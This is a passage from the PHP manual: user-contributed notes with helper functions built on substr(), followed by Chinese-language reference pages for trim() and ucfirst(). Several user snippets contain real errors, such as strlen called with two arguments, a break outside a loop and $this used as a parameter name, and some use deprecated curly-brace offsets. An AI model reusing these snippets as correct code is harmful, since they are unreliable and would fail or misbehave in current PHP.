    min(strlen($string), $start + $length);
  if($end < $start) { return false; }
  $length = $end - $start;
  $substr = substr($string, $start, $length);
  $string = substr($string, 0, $start).substr($string, $end);
  return $substr;
}

?>
Nadeem 03-Jun-2014 08:16
Truncate a float number. Similar to the Excel trunc function.

<?php
function truncate_number($val,$decimals=2){

        $number=array();
        $number=explode(".",$val);
        $result=0;

        if (count($number)>1){

            $result = $number[0] . "." . substr($number[1],0,$decimals);

        } else {

            $result = $val;

        }

        unset($number);

        return $result;
}

echo truncate_number(99.123456,2); //result = 99.12
echo truncate_number(99.123456,5); //result = 99.12345
echo truncate_number(99.123456,1); //result = 99.1
?>
fatihmertdogancan at hotmail dot com 26-Jan-2014 08:28
[English]
I created python similar accesing list or string with php substr & strrev functions.

Use: str($string,$pattern)

About the python pattern,
http://docs.python.org/release/1.5.1p1/tut/strings.html
http://effbot.org/zone/python-list.htm

About of pattern structures
[start:stop:step]

Example,
<?php
$s = "fatihmertdogancan";
echo str($s,"1:9:-2");
echo "<br/>";
echo str($s,"1:-3:-2");
echo "<br/>";
echo str($s,"1:-11:-5");
echo "<br/>";
echo str($s,"1:9:4");
?>

Output,
thetoacn
eht
aom
htan

This is function phpfiddle link: http://phpfiddle.org/main/code/e82-y5d

or source;

<?php
    function str($str,$pattern){
        //[start:stop:step]
        //pattern ->            ([-]?[0-9]*|\s):([-]?[0-9]*|\s):([-]?[0-9]*|\s)
        preg_match("/([-]?[0-9]*|\s?):([-]?[0-9]*|\s?):?([-]?[0-9]*|\s?)/", $pattern, $yakala);
        $start = $yakala[1];
        $stop = $yakala[2];
        $step = $yakala[3];

        if(empty($start) && empty($stop) && $step == "-1"){//istisna durum
            return strrev($str);
        }else if(empty($start) && empty($stop) && isset($step)){//istisna durum
            $rev = "";
            $yeni = "";
            if($step[0] == "-" && $stop != "-1"){$rev = "VAR";}
            $atla = abs($step);
            for($i = 0; $i <= strlen($str); $i++){
                $offset = $i*$atla;
                if(isset($str[$offset])){
                    $yeni = $yeni.$str[$offset];
                }
            }
            if($rev != "VAR"){
                return substr($yeni,0,strlen($str)-1);
                //"hepsi bo?, step dolu o da +";
            }else{
                return strrev(substr($yeni,0,strlen($str)-1));
                //"hepsi bo?, step dolu o da -";
            }
        }

        if(empty($start) && empty($stop) && empty($step)){
            return $str;
            //"hepsi bo?";
        }else if(empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,0,$stop);
                    //"start ve step bo?, stop dolu"
                }else{
                    return strrev(substr($str,0,$stop));
                    //"start ve step bo?, stop -1";
                }
            }else if(isset($stop) && isset($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return $str;
                        //"start bo?, stop ve step dolu, step 1";
                    }else{
                        return strrev(substr($str,0,abs($stop))); //abs -> mutlak de?er (-5 = 5)
                        //"start bo?, stop -, step dolu, step 1";
                    }
                }else{
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,0,$stop);
                        //"start bo?, step ve stop dolu";
                    }else{
                        return strrev(substr($yeni,0,abs($stop)));
                        //"start bo?, step ve stop -";
                    }
                }
            }
        //start bo? de?ilse
        }else if(!empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,$start,$stop);
                    //return "step bo?, start ve stop dolu";
                }else{
                    return strrev(substr($str,0,abs($stop)));
                    //"step bo?, start ve stop dolu, stop -";
                }
            }else if(isset($stop) && isset($step)){

                //hepsi dolu
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return substr($str,$start,$stop);
                        //"hepsi dolu, step 1";
                    }else{
                        return substr($str,$start,abs($stop));
                        //"hepsi dolu, step 1, stop -";
                    }
                }else{
                    if($stop[0] == "-"){$rev = "VAR";}
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,$start,$stop);
                        //"hepsi dolu";
                    }else{
                        return strrev(substr($yeni,$start,abs($stop)));
                        //"hepsi dolu, stop -";
                    }
                }
            }
        }
    }
?>

Good works..
greg at apparel dot com 20-Nov-2013 05:28
Coming to PHP from classic ASP I am used to the Left() and Right() functions built into ASP so I did a quick PHPversion. hope these help someone else making the switch

function left($str, $length) {
    return substr($str, 0, $length);
}

function right($str, $length) {
    return substr($str, -$length);
}
biohazard dot ge at gmail dot com 15-Jul-2013 02:30
may be by following functions will be easier to extract the needed sub parts from a string:

<?php
after ('@', 'biohazard@online.ge');
//returns 'online.ge'
//from the first occurrence of '@'

before ('@', 'biohazard@online.ge');
//returns 'biohazard'
//from the first occurrence of '@'

between ('@', '.', 'biohazard@online.ge');
//returns 'online'
//from the first occurrence of '@'

after_last ('[', 'sin[90]*cos[180]');
//returns '180]'
//from the last occurrence of '['

before_last ('[', 'sin[90]*cos[180]');
//returns 'sin[90]*cos['
//from the last occurrence of '['

between_last ('[', ']', 'sin[90]*cos[180]');
//returns '180'
//from the last occurrence of '['
?>

here comes the source:

<?php

    function after ($this, $inthat)
    {
        if (!is_bool(strpos($inthat, $this)))
        return substr($inthat, strpos($inthat,$this)+strlen($this));
    };

    function after_last ($this, $inthat)
    {
        if (!is_bool(strrevpos($inthat, $this)))
        return substr($inthat, strrevpos($inthat, $this)+strlen($this));
    };

    function before ($this, $inthat)
    {
        return substr($inthat, 0, strpos($inthat, $this));
    };

    function before_last ($this, $inthat)
    {
        return substr($inthat, 0, strrevpos($inthat, $this));
    };

    function between ($this, $that, $inthat)
    {
        return before ($that, after($this, $inthat));
    };

    function between_last ($this, $that, $inthat)
    {
     return after_last($this, before_last($that, $inthat));
    };

// use strrevpos function in case your php version does not include it
function strrevpos($instr, $needle)
{
    $rev_pos = strpos (strrev($instr), strrev($needle));
    if ($rev_pos===false) return false;
    else return strlen($instr) - $rev_pos - strlen($needle);
};
?>
pugazhenthi k 18-Jan-2013 09:57
<?Php

### SUB STRING  BY WORD USING substr() and strpos()  #####

### THIS SCRIPT WILL RETURN PART OF STRING  WITHOUT WORD BREAK ###

$description = 'your description here your description here your description here your description here your description here your description here your description hereyour description here your description here'  // your description here .

$no_letter = 30 ;

if(strlen($desctiption) > 30 )
{
     echo substr($description,0,strpos($description,' ',30));             //strpos to find ' ' after 30 characters.
}
else {
     echo $description;
}

?>
pheagey at gmail dot com 15-Jun-2012 02:27
Using a 0 as the last parameter for substr().

As per examples
<?php $var = substr($var, 4); ?>

works no problem. However
<?php $var = substr($var, 4, 0); ?>

will get you nothing. Just a quick heads up
leon weidauer 08-Jul-2011 01:07
When using a value of a wrong type as second parameter , substr() does not return FALSE but NULL although the docs say, it should return FALSE on error.

Prior to PHP 5.3, substr() tries to cast the second parameter to int and doesn't throw any errors. Since PHP 5.3 a warning is thrown.
Quicker 06-May-2011 04:17
If you need to parse utf-8 strings char by char, try this one:

<?php
     $utf8marker=chr(128);
     $count=0;
     while(isset($string{$count})){
       if($string{$count}>=$utf8marker) {
         $parsechar=substr($string,$count,2);
         $count+=2;
       } else {
         $parsechar=$string{$count};
         $count++;
       }
       /* do what you like with parsechar ... , eg.:*/  echo $parsechar."<BR>\r\n";
     }
?>

- it works without mb_substr
- it is fast, because it grabs characters based on indexes  when possible and avoids any count and split functions
slow at acedsl dot com 28-Mar-2011 01:47
Anyone coming from the Python world will be accustomed to making substrings by using a "slice index" on a string.  The following function emulates basic Python string slice behavior. (A more elaborate version could be made to support array input as well as string, and the optional third "step" argument.)

<?php

function py_slice($input, $slice) {
    $arg = explode(':', $slice);
    $start = intval($arg[0]);
    if ($start < 0) {
        $start += strlen($input);
    }
    if (count($arg) === 1) {
        return substr($input, $start, 1);
    }
    if (trim($arg[1]) === '') {
        return substr($input, $start);
    }
    $end = intval($arg[1]);
    if ($end < 0) {
        $end += strlen($input);
    }
    return substr($input, $start, $end - $start);
}

print py_slice('abcdefg', '2') . "\n";
print py_slice('abcdefg', '2:4') . "\n";
print py_slice('abcdefg', '2:') . "\n";
print py_slice('abcdefg', ':4') . "\n";
print py_slice('abcdefg', ':-3') . "\n";
print py_slice('abcdefg', '-3:') . "\n";

?>

The $slice parameter can be a single character index, or a range separated by a colon. The start of the range is inclusive and the end is exclusive, which may be  counterintuitive. (Eg, py_slice('abcdefg', '2:4') yields 'cd' not 'cde'). A negative range value means to count from the end of the string instead of the beginning. Both the start and end of the range may be omitted; the start defaults to 0 and the end defaults to the total length of the input.

The output from the examples:
c
cd
cdefg
abcd
abcd
efg
nikolai dot wuestemann at t-online dot de 14-Jan-2011 08:56
If you want to have a string BETWEEN two strings, just use this function:

<?php
function get_between($input, $start, $end)
{
  $substr = substr($input, strlen($start)+strpos($input, $start), (strlen($input) - strpos($input, $end))*(-1));
  return $substr;
}

//Example:

$string = "123456789";
$a = "12";
$b = "9";

echo get_between($string, $a, $b);

//Output:
//345678
?>
Cristianlf 29-Oct-2010 02:10
I needed a function like lpad from oracle, or right from SQL
 then I use this code :

<?php
function right($string,$chars)
{
    $vright = substr($string, strlen($string)-$chars,$chars);
    return $vright;

}

    echo right('0r0j4152',4);
?>

Result:
 4152
------------------------------------------------
This function is really simple, I just wanted to share, maybe helps someone out there.

regards,
vnonov at gmail dot com / Viktor Nonov 28-Jan-2010 10:32
<?php

//removes string from the end of other

function removeFromEnd($string, $stringToRemove) {
    $stringToRemoveLen = strlen($stringToRemove);
    $stringLen = strlen($string);

    $pos = $stringLen - $stringToRemoveLen;

    $out = substr($string, 0, $pos);

    return $out;
}

$string = 'picture.jpg.jpg';
$string = removeFromEnd($string, '.jpg');
?>
gkhelloworld at gmail dot com 26-Jul-2009 03:39
Shortens the filename and its expansion has seen.

<?php
$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}
// RETURN: Hellothisfileha...andthisfayl.exe
?>
kaysar in ymail in com 07-Jun-2009 11:58
Drop extensions of a file (even from a file location string)

<?php

$filename = "c:/some dir/abc defg. hi.jklmn";

echo substr($filename, 0, (strlen ($filename)) - (strlen (strrchr($filename,'.'))));

?>

output: c:/some dir/abc defg. hi

Hope it may help somebody like me.. (^_^)
Andreas Bur (andreas dot buro at gmail dot com) 29-Apr-2009 06:25
For getting a substring of UTF-8 characters, I highly recommend mb_substr

<?php
        $utf8string = "cake???";

        echo substr($utf8string,0,5);
        // output cake#
        echo mb_substr($utf8string,0,5,'UTF-8');
        //output cake?
?>
webmaster at oehoeboeroe dot nl 18-Apr-2009 02:07
You might expect substr('123456', 6) to return an empty string. Instead it returns boolean FALSE.

This behavior should be mentioned in the Return Values section of the manual. Instead it is only mentioned in the Parameters section.

If you need an empty string instead of a boolean FALSE you should typecast the result to a string.

<?php
$a = substr('123456', 6);              // equivalent to $a = FALSE
$a = (string) substr('123456', 6);   // equivalent to $a = '';
?>
link 21-Mar-2009 05:52
And as always there is bound to be a bug:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;($i<=$end && isset($textarray[$i]));$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
link 20-Mar-2009 07:19
I created some functions for entity-safe splitting+lengthcounting:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;$i<=$end;$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
mar dot czapla at gmail dot com 24-Oct-2008 02:31
Here we have gr8 function which simply convert ip address to a number using substr with negative offset.
You can need it if you want to compare some IP addresses converted to a numbers.
For example when using ip2country, or eliminating same range of ip addresses from your website :D

<?php

function ip2no($val)
{
    list($A,$B,$C,$D)    =    explode(".",$val);
    return
        substr("000".$A,-3).
        substr("000".$B,-3).
        substr("000".$C,-3).
        substr("000".$D,-3);
}

$min        =    ip2no("10.11.1.0");
$max        =    ip2no("111.11.1.0");
$visitor    =    ip2no("105.1.20.200");

if($min<$visitor && $visitor<$max)
    {    echo 'Welcome !';    }
else
    {    echo 'Get out of here !';    }

?>
post [at] jannik - zappe [dot] de 05-Aug-2008 07:59
Just a little function to cut a string by the wanted amount. Works in both directions.

<?php
function cutString($str, $amount = 1, $dir = "right")
{
  if(($n = strlen($str)) > 0)
  {
    if($dir == "right")
    {
      $start = 0;
      $end = $n-$amount;
    } elseif( $dir == "left") {
      $start = $amount;
      $end = $n;
    }

    return substr($str, $start, $end);
  } else return false;
}
?>

Enjoy ;)
kriskra at gmail dot com 29-Feb-2008 05:21
The javascript charAt equivalent in php of felipe has a little bug. It's necessary to compare the type (implicit) aswell or the function returns a wrong result:
<?php
function charAt($str,$pos) {
    return (substr($str,$pos,1) !== false) ? substr($str,$pos,1) : -1;
}
?>
Petez 31-Aug-2007 03:56
I wanted to work out the fastest way to get the first few characters from a string, so I ran the following experiment to compare substr, direct string access and strstr:

<?php
/* substr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = substr($string,0,11);
    if ($opening == 'Lorem ipsum'){
        true;
    }else{
        false;
    }
}
$endtime1 = endTimer();

/* direct access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    if ($string[0] == 'L' && $string[1] == 'o' && $string[2] == 'r' && $string[3] == 'e' && $string[4] == 'm' && $string[5] == ' ' && $string[6] == 'i' && $string[7] == 'p' && $string[8] == 's' && $string[9] == 'u' && $string[10] == 'm'){
        true;
    }else{
        false;
    }
}
$endtime2 = endTimer();

/* strstr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = strstr($string,'Lorem ipsum');
    if ($opening == true){
        true;
    }else{
        false;
    }
}
$endtime3 = endTimer();

echo $endtime1."\r\n".$endtime2."\r\n".$endtime3;
?>

The string was 6 paragraphs of Lorem Ipsum, and I was trying match the first two words. The experiment was run 3 times and averaged. The results were:

(substr) 3.24
(direct access) 11.49
(strstr) 4.96

(With standard deviations 0.01, 0.02 and 0.04)

THEREFORE substr is the fastest of the three methods for getting the first few letters of a string.
egingell at sisna dot com 19-Oct-2006 03:19
<?php

/**
 * string substrpos(string $str, mixed $start [[, mixed $end], boolean $ignore_case])
 *
 * If $start is a string, substrpos will return the string from the position of the first occuring $start to $end
 *
 * If $end is a string, substrpos will return the string from $start to the position of the first occuring $end
 *
 * If the first character in (string) $start or (string) $end is '-', the last occuring string will be used.
 *
 * If $ignore_case is true, substrpos will not care about the case.
 * If $ignore_case is false (or anything that is not (boolean) true, the function will be case sensitive.
 *        Both of the above: only applies if either $start or $end are strings.
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', 5, '5');
 *        // Prints 'is a string with 01234';
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', '5', 5);
 *        // Prints '56789'
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-string')
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', true)
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', false)
 *        // Prints 's is a string with 0123456789 numbers in it and two strings.'
 *
 * Warnings:
 *        Since $start and $end both take either a string or an integer:
 *            If the character or string you are searching $str for is a number, pass it as a quoted string.
 *        If $end is (integer) 0, an empty string will be returned.
 *        Since this function takes negative strings ('-search_string'):
 *            If the string your using in $start or $end is a '-' or begins with a '-' escape it with a '\'.
 *            This only applies to the *first* character of $start or $end.
 */

// Define stripos() if not defined (PHP < 5).
if (!is_callable("stripos")) {
    function stripos($str, $needle, $offset = 0) {
        return strpos(strtolower($str), strtolower($needle), $offset);
    }
}

function substrpos($str, $start, $end = false, $ignore_case = false) {
    // Use variable functions
    if ($ignore_case === true) {
        $strpos = 'stripos'; // stripos() is included above in case it's not defined (PHP < 5).
    } else {
        $strpos = 'strpos';
    }

    // If end is false, set it to the length of $str
    if ($end === false) {
        $end = strlen($str);
    }

    // If $start is a string do what's needed to make it an integer position for substr().
    if (is_string($start)) {
        // If $start begins with '-' start processing until there's no more matches and use the last one found.
        if ($start{0} == '-') {
            // Strip off the '-'
            $start = substr($start, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = $strpos($str, $start, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            // If $start begins with '\-', strip off the '\'.
            if ($start{0} . $start{1} == '\-') {
                $start = substr($start, 1);
            }
            $pos = $strpos($str, $start);
        }
        $start = $pos !== false ? $pos : 0;
    }

    // Chop the string from $start to strlen($str).
    $str = substr($str, $start);

    // If $end is a string, do exactly what was done to $start, above.
    if (is_string($end)) {
        if ($end{0} == '-') {
            $end = substr($end, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = strpos($str, $end, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            if ($end{0} . $end{1} == '\-') {
                $end = substr($end, 1);
            }
            $pos = $strpos($str, $end);
        }
        $end = $pos !== false ? $pos : strlen($str);
    }

    // Since $str has already been chopped at $start, we can pass 0 as the new $start for substr()
    return substr($str, 0, $end);
}

?>
Bradley from California 10-Jan-2006 01:34
Add on to (a function originally written by) "Matias from Argentina": str_format_number function.

Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

<?php
function str_format_number($String, $Format, $Start = 'left'){
    //If we want to fill from right to left incase string is shorter then format
    if ($Start == 'right') {
        $String = strrev($String);
        $Format = strrev($Format);
    }
    if($Format == '') return $String;
    if($String == '') return $String;
    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))) {
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
            //If it is not a number => stores the caracter
        } else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }
    if ($Start == 'right') $Result = strrev($Result);
    return $Result;
}
?>
frank at jkelloggs dot dk 25-Jul-2005 02:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
php_net at thomas dot trella dot de 29-Jun-2005 08:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
    if (!preg_match('/\&#[0-9]*;.*/i', $str))
    {
        $rVal = strlen($str, $len);
        break;
    }

    $chars = 0;
    $start = 0;
    for($i=0; $i < strlen($str); $i++)
    {
        if ($chars >= $len)
        break;

        $str_tmp = substr($str, $start, $i-$start);
        if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
        {
            $chars++;
            $start = $i;
        }
    }
    $rVal = substr($str, 0, $start);
    if (strlen($str) > $start)
    $rVal .= " ...";
    return $rVal;
}
?>
ivanhoe011 at gmail dot com 07-Jun-2005 08:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
    // both lines will output the 3rd character
    echo substr($my_string, 2, 1);
    echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net 07-Jun-2005 03:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?php
function limit_string($string, $charlimit)
{
    if(substr($string,$charlimit-1,1) != ' ')
    {
        $string = substr($string,'0',$charlimit);
        $array = explode(' ',$string);
        array_pop($array);
        $new_string = implode(' ',$array);

        return $new_string.'...';
    }
    else
    {
        return substr($string,'0',$charlimit-1).'...';
    }
}
?>
bleakwind at msn dot com 25-May-2005 10:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
    $str     = "";
    $count   = 0;
    $str_len = strlen($string);
    for ($i=0; $i<$str_len; $i++) {
        if (($count+1-$start)>$len) {
            $str  .= "...";
            break;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
            $count = $count+2;
            $i     = $i+$byte-1;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
            $str  .= substr($string,$i,1);
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
            $str  .= substr($string,$i,$byte);
            $count = $count+2;
            $i     = $i+$byte-1;
        }
    }
    return $str;
}

// Test
$str = "123456?????123456?????123456???????";
for($i=0;$i<30;$i++){
    echo "<br>".bite_str($str,$i,20);
}
?>
fanfatal at fanfatal dot pl 16-May-2005 11:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
    $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
    $clean = preg_replace($pattern, chr(1), $string);
    if(!$length)
        $str = substr($clean, $start);
    else {
        $str = substr($clean, $start, $length);
        $str = substr($clean, $start, $length + substr_count($str, chr(1)));
    }
    $pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
    if(preg_match('/'.$pattern.'/is', $string, $matched))
        return $matched[0];
    return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
woutermb at gmail dot com 21-Mar-2005 11:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
    $length = strlen($value);
    if($length >=20){
        for($i=0;$i<=$length;$i+=10){
            $new .= substr($value, $i, 10);
            $new .= " ";
        }
         $post .= $new;
    }
    elseif($length <=15){
        $post .= $value;
    }
    $post .= " ";
}
return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
steve at unicycle dot co dot nz 13-Mar-2005 09:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );


去除字符串首尾处的空白字符（或者其他字符）

  • ? substr
  • ucfirst ?
  • PHP Manual
  • 字符串 函数
  • 去除字符串首尾处的空白字符（或者其他字符）

trim

(PHP 4, PHP 5, PHP 7, PHP 8)

trim — 去除字符串首尾处的空白字符（或者其他字符）

说明

trim(string $string, string $characters = " \n\r\t\v\x00"): string

此函数返回字符串 string 去除首尾空白字符后的结果。如果不指定第二个参数，trim() 将去除这些字符：

  • " " (ASCII 32 (0x20))，普通空格符。
  • "\t" (ASCII 9 (0x09))，制表符。
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))，空字节符。
  • "\v" (ASCII 11 (0x0B))，垂直制表符。

参数

string

待处理的字符串。

characters

可选参数，过滤字符也可由 characters 参数指定。一般要列出所有希望过滤的字符，也可以使用 ".." 列出一个字符范围。

返回值

过滤后的字符串。

示例

Example #1 trim() 使用示例

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = trim($text);
var_dump($trimmed);

$trimmed = trim($text, " \t.");
var_dump($trimmed);

$trimmed = trim($hello, "Hdle");
var_dump($trimmed);

// 清除 $binary 首位的 ASCII 控制字符
// （包括 0-31）
$clean = trim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上示例会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(14) "Example string"

Example #2 使用 trim() 清理数组值

<?php
function trim_value(&$value)
{
$value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

以上示例会输出：

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

注释

Note: 可能的问题：删除中间字符

因为 trim() 从字符串的开始和末尾修剪字符。所以中间是否删除字符可能会造成混淆。trim('abc', 'bad') 移除了"a"和"b"，是因为修剪了"a"之后，"b"移动到了开头，所以也被修剪了。所以这就是为什么能正常工作而 trim('abc', 'b') 看起来没有的原因。

参见

  • ltrim() - 删除字符串开头的空白字符（或其他字符）
  • rtrim() - 删除字符串末端的空白字符（或者其他字符）
  • str_replace() - 子字符串替换

User Contributed Notes

gwyneth dot llewelyn at gwynethllewelyn dot net 03-Jul-2023 07:04
Note that trim() is not aware of Unicode points that represent whitespace (e.g., in the General Punctuation block), except, of course, for the ones mentioned in this page.

There is no Unicode-specific trim function in PHP at the time of writing (July 2023), but you can try some examples of trims using multibyte strings posted on the comments for the mbstring extension: https://www.php.net/manual/en/ref.mbstring.php
pcoates at yukon1000 dot com 01-May-2023 07:23
note there is a behaviour change in php 8

You used to be able to say:
$p1 = trim($_POST['p1']);
This will now throw deprecated warnings if parameter p1 is not set. It is better to say:
$p1 = trim($_POST['p1']??'');
or
$p1 = isset($_POST['p1']) ? trim($_POST['p1']) : null;
or
$p1 = isset($_POST['p1']) ? trim($_POST['p1']) : '';


将字符串的首字母转换为大写

  • ? trim
  • ucwords ?
  • PHP Manual
  • 字符串 函数
  • 将字符串的首字母转换为大写

ucfirst

(PHP 4, PHP 5, PHP 7, PHP 8)

ucfirst — 将字符串的首字母转换为大写

说明

ucfirst(string $string): string

将 string 的首字符（如果首字符是 "a"（0x61）到 "z"（0x7a）范围内的 ASCII 字符）转换为大写字母，并返回这个字符串。

注意字母的定义取决于当前区域设定。例如，在默认的 "C" 区域，字符 umlaut-a（?）将不会被转换。

参数

string

输入字符串。

返回值

返回结果字符串。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会转换 ASCII 字符。

示例

Example #1 ucfirst() 示例

<?php
$foo = 'hello world!';
$foo = ucfirst($foo); // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar); // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

参见

